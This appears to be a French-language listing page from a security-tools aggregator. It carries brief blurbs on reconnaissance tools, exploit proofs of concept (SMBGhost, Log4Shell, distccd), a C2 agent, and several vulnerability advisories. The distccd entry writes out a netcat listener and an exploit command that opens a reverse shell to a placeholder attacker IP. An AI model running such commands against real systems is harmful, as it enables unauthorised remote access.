recon

Le projet a été déplacé vers un monorepo. Voir https://github.com/pownjs/pown pour plus d'informations. Recon Recon est un framework de reconnaissance de cibles alimenté par des graphes de connaissances. L'utilisation de graphes de connaissances au lieu d'une représentation tabulaire plate permet...

Katana

Katana-ds Katana-ds ds pour dork scan est un outil Python simple qui automatise le Google Hacking/Dorking et prend en charge Tor. Il devient plus puissant en combinaison avec GHDB Note 25/09/2021 : Ce dépôt est nouveau mais le script lui-même est ancien, à l'époque où le Google dorking était...

CVE-2020-0796-RCE-POC

CVE-2020-0796 Preuve de concept d'exécution de code à distance c 2020 ZecOps, Inc. - https://www.zecops.com - Trouver les erreurs des attaquants Preuve de concept d'exécution de code à distance pour CVE-2020-0796 / "SMBGhost" Résultat attendu : Shell inversé avec accès système. Destiné uniquement...

hide-me

Changeur aléatoire de MAC et de nom d'hôte hide-me Chaque fois que j'essayais de faire un test de pénétration réseau, je devais suivre quelques étapes pour m'assurer d'être caché : mettre mon interface hors service, changer mon adresse MAC, changer mon nom d'hôte, remettre l'interface en service,...

training-security-awareness

Formation gratuite de sensibilisation à la sécurité pour les employés — Bibliothèque SCORM interactive open source 130+ exercices gratuits et open source de sensibilisation à la sécurité pour les employés — des modules SCORM interactifs et pratiques couvrant la sensibilisation au phishing, le RGP...

shellnoob

ShellNoob Writing shellcodes has always been super fun, but some parts are extremely boring and error prone. Focus only on the fun part, and use ShellNoob! For a quick overview, check the slides for the Black Hat Arsenal talk: link Want to contribute? Feature request? Bug report? Swears? All...

dncil

dncil est une bibliothèque de désassemblage du langage intermédiaire commun CIL écrite en Python qui prend en charge l'analyse de l'en-tête, des instructions et des gestionnaires d'exceptions des méthodes managées .NET. Les données analysées sont exposées via une API orientée objet pour vous aide...

distccd_rce_CVE-2004-2687

Le but de ce script n'est PAS d'utiliser Metasploit et de le faire manuellement. Utilisation : root@kitploit: nc -lvnp 4466 Exécution de l'exploit : root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

EUVD-2026-70787

MOOS core-moos through 10.4.0 fails to escape database contents when rendering MOOSDB HTTP pages, allowing attackers to inject malicious scripts. Any MOOS publisher can set variable values containing script payloads that execute in the browser of operators viewing the web interface...

EUVD-2026-70775

MOOS core-moos through 10.4.0 fails to validate that serialized string lengths are non-negative in CMOOSMsg::operator. Unauthenticated attackers can send a crafted message with a negative length value to the MOOSDB port, causing an unhandled exception that terminates the database process...

EUVD-2026-70778

MOOS-IvP through 24.8.1 contains a buffer over-read vulnerability in isQuoted, isBraced, and isChevroned functions that strip whitespace but index using the original string length. Attackers can send NODEREPORT messages with leading or trailing whitespace to read past buffer bounds and access...

EUVD-2026-70803

MOOS-IvP through 24.8.1 contains multiple buffer overflow vulnerabilities in IvP function string decoders that trust attacker-controlled length fields without validation. Attackers can craft malicious encoded strings with mismatched declared and actual field lengths to overflow heap and stack...

EUVD-2026-70816

MOOS core-moos through 10.4.0 lacks authentication in the wire protocol, allowing unauthenticated clients to connect with full publish, subscribe, and database clear privileges. Attackers can bypass the compile-time protocol string check and connect with arbitrary client names to execute privileg...

EUVD-2026-70821

There is an out-of-bounds read vulnerability in DASYLab due to improper validation of user-supplied data. This results in a read a past the end of an allocated heap buffer during string conversion. Successful exploitation requires an attacker to get a user to open a specially crafted .DSB file. ...

dns-honeypot

Mes premières 24 heures avec un honeypot DNS En tant qu’ingénieur qui passe la plupart de ses journées plongé dans les outils d’observabilité, j’ai parfois une idée que je dois simplement suivre. C’était l’une de ces expériences : lancer un résolveur DNS sur une IP propre que personne n’annonce,...

SUSE CVE-2026-84394

fast-uri accepts a host that contains an unbalanced or misplaced authority bracket without reporting an error. A host that starts with an opening bracket but does not end with a closing bracket is neither validated as an IP literal nor canonicalized as a domain name, so parse returns it as the ho...

hermes

Hermes Hermes est un agent Linux léger écrit en Python, conçu pour Mythic 3.0 et plus récent. Nommé d'après Hermès, le messager des dieux — construit pour la vitesse et la discrétion. Fonctionnalités Support Linux Prise en charge du proxy SOCKS5 pour le pivotement et le mouvement latéral Plusieur...

NtDetours

NTSTATUS NTAPI TrInitPVOID ImageBase = &ImageBase; rendre l'IAT accessible en écriture. voir simple.cpp TimedSleepEx appelle la véritable API SleepEx via le pointeur de fonction TrueSleepEx. static DWORD WINAPI TrueSleepExDWORD dwMilliseconds, BOOL bAlertable = SleepEx; DWORD WINAPI...

Bootloader_Unlock_Retroid_Pocket_3Plus

Déverrouillage du bootloader pour Retroid Pocket 3Plus 2 méthodes pour déverrouiller le bootloader du RP3+ Déverrouillage du bootloader via CVE-2022-38694 pour Retroid Pocket 3+ En suivant ce guide, vous reconnaissez comprendre les risques liés au déverrouillage du bootloader de votre appareil...

TPASLog4ShellPoC

TPAS Log4Shell PoC Ce dépôt contient une preuve de concept PoC pour la vulnérabilité Log4Shell CVE-2021-44228, développée dans le cadre du cours de l'unité curriculaire TPAS du Master en Sécurité de l'Information à la FCUP. Il comprend : Un frontend React SPA qui simule un site e-commerce génériq...